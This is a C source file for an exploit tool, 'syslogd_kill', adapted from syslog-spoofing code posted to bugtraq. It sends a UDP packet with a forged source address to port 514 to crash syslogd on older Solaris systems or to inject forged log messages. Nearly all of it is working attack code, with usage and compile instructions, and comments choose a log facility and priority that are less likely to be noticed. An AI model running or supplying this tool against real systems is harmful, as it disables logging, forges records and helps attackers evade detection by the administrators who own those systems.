/*
 
  Solaris 2.5, 2.5.1 (Sparc & x86)
 
    To effectively  kill a  Solaris<2.6 syslogd  use in  the following
    manner:
 
  ./syslogd_kill <ip-with-no-DNS> <victim IP>
 
  My favorite is the 10.20.10.1 IP as this was the first IP I  found
  which killed syslogd and hasn't failed to work yet.  Then again, I
  haven't  found  a  Solaris  box  that  wasn't 2.6 that this hasn't
  worked on.  Let me know what you find.
 
  Sorry if  any credits  were deleted,  I really  didn't know  I was
  gonna distribute  this.   This is  the syslog_spoof  code that was
  posted to bugtraq a few weeks back, but modified to work with  BSD
  and Solaris.
 
  To compile under Solaris use:  cc -lnsl -lsocket syslogd_kill.c
 
  This code has been tested only under Solaris and FreeBSD 3.0.   If
  it doesn't work under Linux, just go get the old Linux code off  a
  bugtraq archive.
 
     lb@inext.net
 
  [NOTE: This may not apply anymore, I don't touch Linux. - lb]
 
  The  code  compiles  and  works  under  Linux.   Any Unix that has
  SOCK_RAW/IPPROTO_RAW should  be no  problem (you  may need  to use
  BSD-style struct ip  though).  It  may use few  improvements, like
  checking for  possible ICMP  Port Unreachable  errors in  case the
  remote machine  doesn't run  syslogd with  remote reception turned
  on.
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <syslog.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/tcpip.h>

#define IPVERSION       4

/* This is the stuff that actually gets sent.  Feel free to change it */
#define MESSAGE_FAC LOG_LOCAL7
/* I use LOCAL7 because it is probably not caught as often  - lb */
#define MESSAGE_PRI LOG_DEBUG
/* Debug is especially unlikely to be caught - lb*/
char message[] = {""};  /* This is the message which would have been */
/* spoofed and is still received by syslog before */
/* it dies.. so I made it empty. - lb */

struct raw_pkt_hdr
  {
    struct ip iphdr;
    struct udphdr udp;
  };

struct raw_pkt_hdr* pkt;

void die(char *);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv)
{
  struct sockaddr_in sa;
  struct sockaddr_in sa2;
  int sock,packet_len;
  char usage[] = {"\
                  syslog_deluxe, yuri volobuev'97\n\
                  modded by lb Oct97\n\
                  make syslog look the way you want, here there and everywhere\n\n\
                  \t usage: syslog_deluxe src_hostname dst_hostname\n\n\
                  \t to kill syslogd: syslog_deluxe <IP-with-no-DNS> <victim IP>\n\n"};

  static int on = 1;

  if(argc != 3)die(usage);

  bzero((struct sockaddr_in *)&sa, sizeof(sa));
  bzero((struct sockaddr_in *)&sa2, sizeof(sa2));

  if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      perror("socket");
      exit(1);
    }

  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = inet_addr(argv[2]);
  sa2.sin_family = AF_INET;
  sa2.sin_addr.s_addr = inet_addr(argv[1]);

  packet_len = sizeof(struct raw_pkt_hdr)+strlen(message)+4;
  pkt = calloc((size_t)1,(size_t)packet_len);

  pkt->iphdr.ip_v = IPVERSION;
  pkt->iphdr.ip_hl = 0x5;
  pkt->iphdr.ip_len = packet_len;
  pkt->iphdr.ip_ttl = 0x40;
  pkt->iphdr.ip_p = IPPROTO_UDP;
  pkt->iphdr.ip_sum = 0;

  pkt->iphdr.ip_src.s_addr = sa2.sin_addr.s_addr;
  pkt->iphdr.ip_dst.s_addr = sa.sin_addr.s_addr;

  pkt->iphdr.ip_sum = checksum((unsigned short*)pkt,sizeof(struct ip));

  pkt->udp.uh_sport = htons(514);
  pkt->udp.uh_dport = htons(514);
  pkt->udp.uh_ulen = htons(packet_len - sizeof(struct ip));
  pkt->udp.uh_sum = 0;  /* If you feel like screwing around with pseudo-headers
  			    and stuff, you may of course calculate UDP checksum
  			    as well.  I chose to leave it zero, it's usually OK */

  sprintf((char*)pkt+sizeof(struct raw_pkt_hdr),"<%d>%s",
          (int)(MESSAGE_FAC | MESSAGE_PRI),message);

  if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
    {
      perror("setsockopt: IP_HDRINCL");
      exit(1);
    }

  if(sendto(sock,(char *)&pkt->iphdr,packet_len,(int)NULL,(struct sockaddr*)&sa,sizeof(sa)) < 0)
    {
      perror("sendto");
      exit(1);
    }
  exit(0);
}

void die(char* str)
{
  fprintf(stderr,"%s\n",str);
  exit(1);
}

unsigned short checksum(unsigned short* addr,char len)
{
  /* This is a simplified version that expects even number of bytes */
  register long sum = 0;

  while(len > 1)
    {
      sum += *addr++;
      len -= 2;
    }
  while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

  return ~sum;
}
